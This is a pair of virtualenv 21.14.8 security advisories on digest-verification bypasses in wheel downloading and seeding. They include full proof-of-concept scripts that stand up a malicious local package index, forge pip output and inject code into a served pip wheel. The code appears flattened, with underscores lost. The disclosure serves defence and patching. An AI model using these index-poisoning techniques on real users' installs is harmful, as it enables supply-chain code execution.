Summary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
downloadwheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. PR #3430 downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance.
Attack sequence
mermaid sequenceDiagram participant I as Configured index participant P as pip download participant C as wheel/house cache participant V as virtualenv digest check participant N as New environment I->>P: modified wheel and forged Saved line P->>C: write modified wheel directly P-->>V: stdout names genuine bundled wheel V->>V: hash genuine wheel and accept V->>C: record modified wheel for reuse C->>N: seed modified pip without rehash Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import atexit import hashlib import json import os import shutil import subprocess import sys from pathlib import Path
companions = Path("/tmp/repro.d") work = Path("/tmp/forged-saved-line") home = work / "home" appdata = home / ".cache" / "virtualenv" thispython = f"{sys.versioninfo.major}.{sys.versioninfo.minor}" # the target; each Python has its own update log updatelogofpip = appdata / "wheel" / thispython / "embed" / "3" / "pip.json" virtualenv = [sys.executable, companions / "virtualenvwithlocalpypijson.py", work / "pypi"] asuser = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "captureoutput": True, "text": True} addedcodeprints = "code added by the index" # the line indexservesmodifiedpip.py adds to pip/init.py
def userupgradesseedwheelsandcreatesenv(): # each case starts from an empty app-data shutil.rmtree(appdata, ignoreerrors=True) shutil.rmtree(home / "env", ignoreerrors=True) upgrade = subprocess.run([virtualenv, "--upgrade-embed-wheels"], asuser) # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach subprocess.run([virtualenv, "--no-periodic-update", "env"], asuser, check=True) pipversion = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], asuser, check=True) # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0 refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None) logged = [] if updatelogofpip.exists(): # a failed update writes no log logged = [entry["filename"] for entry in json.loads(updatelogofpip.readtext())["versions"]] return refusal, logged, pipversion.stdout.splitlines()
set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it shutil.rmtree(work, ignoreerrors=True) (home / ".config" / "pip").mkdir(parents=True) shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf") subprocess.run([sys.executable, companions / "pypijsonandmirror.py", work / "pypi", work / "index"], check=True) indexserver = subprocess.Popen( [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True, ) atexit.register(indexserver.kill) assert indexserver.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it subprocess.run([sys.executable, companions / "indexservesmodifiedpip.py", work / "index"], check=True) refusal, logged, pipsays = userupgradesseedwheelsandcreatesenv() print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal) print("CONTROL modified pip: update log of pip lists", logged) print("CONTROL modified pip: pip --version in the new env prints", pipsays) controlranaddedcode = addedcodeprints in "\n".join(pipsays)
attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output subprocess.run([sys.executable, companions / "indexforgessavedline.py", work / "index"], check=True) refusal, logged, pipsays = userupgradesseedwheelsandcreatesenv() storedwheel = appdata / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl" storedsha256 = hashlib.sha256(storedwheel.readbytes()).hexdigest() pypisha256 = json.loads((work / "pypi" / "pip.json").readtext())["releases"]["26.0.1"][0]["digests"]["sha256"] print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal) print("OBSERVED + forged line: update log of pip lists", logged) print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", storedsha256) print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypisha256) print("OBSERVED + forged line: pip --version in the new env prints", pipsays) attackranaddedcode = addedcodeprints in "\n".join(pipsays)
check: the same modified wheel, refused without the forged line, is seeded with it print("BUG" if attackranaddedcode and not controlranaddedcode else "OK")
repro.d/indexforgessavedline.py
text """Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: indexforgessavedline.py <indexdir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1. """
import shutil import sys from pathlib import Path
a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9, at the same path for every user of this image GENUINEWHEELONUSERSDISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
indexdir = Path(sys.argv[1])
named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout shutil.copy(indexdir / "files" / "pip-26.2.1-py3-none-any.whl", indexdir / "files" / "pip-100.0-py3-none-any.whl")
pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed with (indexdir / "simple" / "pip" / "index.html").open("a") as page: page.write( '<a href="/files/pip-100.0-py3-none-any.whl"' f' data-requires-python=" Saved {GENUINEWHEELONUSERSDISK} ">pip-100.0-py3-none-any.whl</a>\n' )
repro.d/indexservesmodifiedpip.py
text """Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: indexservesmodifiedpip.py <indexdir>
pip 26.0.1 on the index gets one more line of code in pip/init.py and becomes the only pip on offer. On its own, virtualenv's comparison with PyPI's SHA-256 catches this. """
import hashlib import io import sys import zipfile from pathlib import Path
ADDEDCODE = b'\nprint("code added by the index runs as uid", import("os").getuid())\n'
indexdir = Path(sys.argv[1]) wheel = indexdir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.readbytes())) with zipfile.ZipFile(wheel, "w") as modified: for entry in genuine.infolist(): content = genuine.read(entry) if entry.filename == "pip/init.py": content += ADDEDCODE modified.writestr(entry, content)
the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's download folder first, and pip replaces a file of the same name there only when the link's digest differs sha256 = hashlib.sha256(wheel.readbytes()).hexdigest() (indexdir / "simple" / "pip" / "index.html").writetext( f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n' )
repro.d/pip.conf
text [global] index-url = http://127.0.0.1:8099/simple
repro.d/pypijsonandmirror.py
text """Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypijsonandmirror.py <pypidir> <indexdir>
The wheels bundled with virtualenv are genuine PyPI files. <pypidir>/<project>.json is what https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLESHA256 table. <indexdir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files. """
import json import shutil import sys import zipfile from email.parser import HeaderParser from html import escape from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLEFOLDER, BUNDLESHA256
pypidir, indexdir = Path(sys.argv[1]), Path(sys.argv[2]) pypidir.mkdir() (indexdir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"): releases, links = {}, [] for filename, sha256 in BUNDLESHA256.items(): name, version = filename.split("-")[:2] if name != project: continue shutil.copy(BUNDLEFOLDER / filename, indexdir / "files") releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "uploadtime": "2026-01-01T00:00:00"}] with zipfile.ZipFile(BUNDLEFOLDER / filename) as wheel: metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode()) requirespython = escape(metadata["Requires-Python"]) links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requirespython}">{filename}</a>') (pypidir / f"{project}.json").writetext(json.dumps({"releases": releases})) (indexdir / "simple" / project).mkdir(parents=True) (indexdir / "simple" / project / "index.html").writetext("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenvwithlocalpypijson.py
text """Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenvwithlocalpypijson.py <pypidir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypidir>/<project>.json. pip, the index pip talks to and the rest of virtualenv are the real thing. """
import sys from pathlib import Path from unittest import mock
from virtualenv.main import runwithcatch
pypidir = Path(sys.argv[1])
def pypijsonapi(url, context): assert url.startswith("https://pypi.org/pypi/") and context is None, url project = url.split("/")[4] return (pypidir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodicupdate.urlopen", pypijsonapi): runwithcatch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
Summary
The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.
Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Wheel selection by the pip seeder when downloads are enabled.
Attacker-controlled input
The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.
Affected code
The relevant 21.14.8 source is in pip seeder.
Mechanism
With --seeder pip --download, PipInvoke.getpipinstallcmd() first calls getwheel(download=False), so virtualenv's downloadwheel() and verifywheeldigest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.
Reproduction and evidence
The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/init.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.
Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIPINDEXURL, PIPEXTRAINDEXURL, and PIPINDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.
Attack sequence
mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: getwheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest
Reproducer files
The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.
repro
text #!/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile
from virtualenv.seed.wheels.embed import getembedwheel
companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignoreerrors=True) os.makedirs(work)
set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenvoffline.py: no network) bundled = getembedwheel("pip", f"{sys.versioninfo.major}.{sys.versioninfo.minor}") pypisha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypirelease = {"filename": bundled.name, "digests": {"sha256": pypisha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypijson: json.dump({"releases": {bundled.version: [pypirelease]}}, pypijson)
attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRRORCODERAN" subprocess.run([sys.executable, f"{companions}/makemirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirrorwheel = f"{work}/mirror/pip/{bundled.name}" mirrorsha256 = hashlib.sha256(open(mirrorwheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypisha256}") print(f"{bundled.name}: the mirror serves sha256 {mirrorsha256}")
user: pip.conf names the mirror; PIPINDEXURL, PIPEXTRAINDEXURL and PIPINDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") as pipconf: pipconf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL os.makedirs(f"{work}/home-default") os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache virtualenv = [sys.executable, f"{companions}/virtualenvoffline.py", f"{work}/pypi.org", "--no-periodic-update"]
control: the default seeder with --download fetches the mirror's wheel and refuses it defaultseeder = subprocess.run( [virtualenv, "--download", f"{work}/env-default"], env={os.environ, "HOME": f"{work}/home-default", "PIPCONFIGFILE": f"{work}/pip.conf"}, captureoutput=True, text=True, ) refusal = [line for line in defaultseeder.stdout.splitlines() if line.startswith("RuntimeError: ")] print(f"\nCONTROL virtualenv --download env-default: exit {defaultseeder.returncode}") print("\n".join(refusal))
trigger: the same command plus --seeder pip pipseeder = subprocess.run( [virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"], env={os.environ, "HOME": f"{work}/home-pip", "PIPCONFIGFILE": f"{work}/pip.conf"}, captureoutput=True, text=True, ) print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pipseeder.returncode}") print(pipseeder.stdout) if pipseeder.returncode == 0: envpip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], captureoutput=True, text=True, check=True) print(f"$ env-pip/bin/pip --version\n{envpip.stdout}")
check: compare env-pip's pip/init.py with the one in each wheel with zipfile.ZipFile(bundled.path) as wheel: bundledinit = wheel.read("pip/init.py") with zipfile.ZipFile(mirrorwheel) as wheel: mirrorinit = wheel.read("pip/init.py") installed = glob.glob(f"{work}/env-pip/lib/python/site-packages/pip/init.py") installedinit = open(installed[0], "rb").read() if installed else b"" refusalmessage = f"has sha256 {mirrorsha256}, but PyPI reports {pypisha256}" refused = defaultseeder.returncode != 0 and refusalmessage in defaultseeder.stdout print(f"default seeder refused the mirror's wheel for its digest: {refused}") print(f"env-pip's pip/init.py is the bundled wheel's: {installedinit == bundledinit}, the mirror's: {installedinit == mirrorinit}") print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}") print("BUG" if refused and installedinit == mirrorinit and os.path.exists(marker) else "OK")
repro.d/makemirror.py
text #!/usr/bin/env python3 usage: makemirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes> import os import sys import zipfile
genuinewheel, mirror, marker = sys.argv[1:] wheelname = os.path.basename(genuinewheel) payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
os.makedirs(f"{mirror}/pip") with zipfile.ZipFile(genuinewheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheelname}", "w") as served: for entry in genuine.infolist(): data = genuine.read(entry) if entry.filename == "pip/init.py": data += payload.encode() served.writestr(entry, data)
PEP 503 project page; pip reads <index>/pip/index.html for a file:// index with open(f"{mirror}/pip/index.html", "w") as page: page.write(f'<a href="{wheelname}">{wheelname}</a>\n')
repro.d/virtualenvoffline.py
text #!/usr/bin/env python3 usage: virtualenvoffline.py <directory standing in for https://pypi.org> <virtualenv arguments...> The virtualenv command, except that the PyPI JSON API request (the source of the digest the default seeder checks) is answered from a local file, as tests/unit/seed/wheels/testperiodicupdate.py does. pip is not touched. import sys
from virtualenv.main import runwithcatch from virtualenv.seed.wheels import periodicupdate
pypiorg = sys.argv[1]
def pypijsonapi(url, context=None): return open(url.replace("https://pypi.org", pypiorg), "rb")
periodicupdate.urlopen = pypijsonapi runwithcatch(sys.argv[2:])
Impact
The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.
Fix: PR #3430.
Known mitigation
On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.